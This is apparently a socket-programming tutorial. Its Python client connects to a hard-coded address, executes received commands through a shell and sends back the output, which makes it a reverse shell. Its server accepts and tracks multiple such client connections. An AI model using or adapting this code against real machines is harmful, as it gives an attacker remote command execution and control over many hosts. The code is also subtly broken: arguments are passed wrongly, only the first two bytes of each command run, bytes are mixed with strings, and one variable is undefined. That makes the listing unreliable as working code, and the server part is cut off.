TCP/IP Socket Programming - 04 Multi Clinet Support

# Client.py

import socket
import os
import subprocess

s = socket.socket()
host = '192.168.1.5'
port = 9999

s.connect(host,port)

while True:
    data = s.recv(1024)
    if data[:2].decode("utf-8") == 'cd':
        os.chdir(data[:2].decode("utf-8"))
        
    if len(data) > 0:
        cmd = subprocess.Popen(data[:2].decode("utf-8"),shell='True',stdout=subprocess.PIPE,stderr=subprocess.PIPE)
        output_byte = cmd.stdout.read() + cmd.stderr.read()
        output_str = str(output_byte,'utf-8')
        currentWD = os.getcwd() + "> "
        s.send(str.encode(output_str) + currentWD)
        
        print(output_str)

# Server-Multi_Clinet_Support.py
 
import socket
import sys
import threading
import time
from queue import Queue

NUMBER_OF_THREADS = 2
JOB_NUMBER = [1, 2]
queue = Queue()
all_connections = []
all_address = []
 
# Create a Socket (Connect two computers)
def create_socket():
    try:
        global host
        global port
        global s
        host = ""
        port = 9999
        s = socket.socket()
    except socket.error as msg:
        print("Socket Creation error: " + str(msg))
        
# Binding the socket and listening for connections
def bind_socket():
    try:
        global host
        global port
        global s
        
        print("Binding the Port" + str(port))
        
        s.bind((host,port))
        s.listen(5)
 
    except socket.error as msg:
        print("Socket Binding error: " + str(msg) + "\n" + "Retrying...")
        bind_socket()
        
# Handing connection from multiple clients
# Closing previous connecitons when server.py file is restarted
def accepting_connection():
    for c in all_connections:
        c.close()
        
    del all_connections[:]
    del all_address[:]
    
    while True:
        try:
            conn,address = s.accept()
            s.setblocking(1)  # prevents timeout
            
            all_connections.append(conn)
            add_address.append(address)
            
            print("Connection has been established: " + address[0])
            
        except:
            print("Error: accepting connections!")